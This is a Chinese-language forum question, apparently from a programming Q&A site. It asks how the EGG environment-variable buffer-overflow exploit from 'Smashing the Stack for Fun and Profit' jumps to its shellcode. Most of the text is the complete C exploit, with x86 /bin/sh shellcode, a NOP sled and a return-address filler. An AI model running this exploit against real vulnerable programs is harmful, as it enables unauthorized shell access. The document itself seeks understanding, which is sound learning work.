我无法理解下面显示的Smashing the Stack for Fun and Profit 的其中一个漏洞。在这个漏洞利用中,一些 shellcode 存储在一个名为的环境变量EGG
中,变量的地址在存储在RET
. 然后调用我们希望利用的程序 using RET
,这应该会导致程序跳转到EGG
. 谁能解释一下跳转EGG
是如何进行的?看起来RET
是填充的地址%esp
,而不是EGG
。
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}